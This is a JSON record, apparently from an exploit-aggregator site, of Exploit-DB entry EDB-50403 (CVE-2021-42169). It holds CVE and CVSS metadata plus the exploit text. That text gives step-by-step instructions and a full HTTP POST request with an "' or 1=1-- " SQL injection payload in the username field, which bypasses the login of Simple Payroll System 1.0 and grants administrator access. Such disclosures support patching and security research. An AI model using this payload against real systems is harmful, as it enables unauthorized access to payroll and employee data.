{"exploit":{"id":"EDB-50403","name":"Simple Payroll System 1.0 - 'username' SQL Injection (SQLi) / Authentication Bypass","description":"Simple Payroll System 1.0 - 'username' SQL Injection (SQLi) / Authentication Bypass","cves":["CVE-2021-42169"],"author":"Yash Mahajan","published":"2021-10-13","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50403","path":"exploits/php/webapps/50403.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50403.txt","vulnerabilities":[{"id":"CVE-2021-42169","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Simple Payroll System with Dynamic Tax Bracket in PHP using SQLite Free Source Code (by: oretnom23 ) is vulnerable from remote SQL-Injection-Bypass-Authentication for the admin account. The parameter (username) from the login form is not protected correctly and there is no security and escaping from malicious payloads.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-42169","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-42169"},"updatedAt":"2024-08-04T03:30:37.831Z","retrievedAt":"2026-11-25T23:10:12.740Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50403.png?v=2","url":"https://exploitbin.com/exploits/EDB-50403","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50403/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50403/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass\n# Date: 2021-10-09\n# Exploit Author: Yash Mahajan\n# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip\n# Version: 1.0\n# Tested on: Windows 10\n# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.\n\nSteps To Reproduce:\n\n1 - Navigate to http://localhost/simple_payroll/admin/login.php\n2 - Enter the payload into the username field as \"' or 1=1-- \" without double-quotes and type anything into the password field.\n3 - Click on \"Login\" button and you are logged in as administrator.\n\nProof Of Concept:\n\nPOST /simple_payroll/Actions.php?a=login HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 37\nOrigin: http://localhost\nConnection: close\nReferer: http://localhost/simple_payroll/admin/login.php\nCookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n\nusername='+or+1%3D1--+&password=admin","sha256":"2f90148c44d03af7ff28a96421197b62627582e66a1b209fbb30741a755f6c19","bytes":1466,"fetchedAt":"2026-11-26T19:06:32.735Z","encoding":"utf-8 (display only; download retains original bytes)"}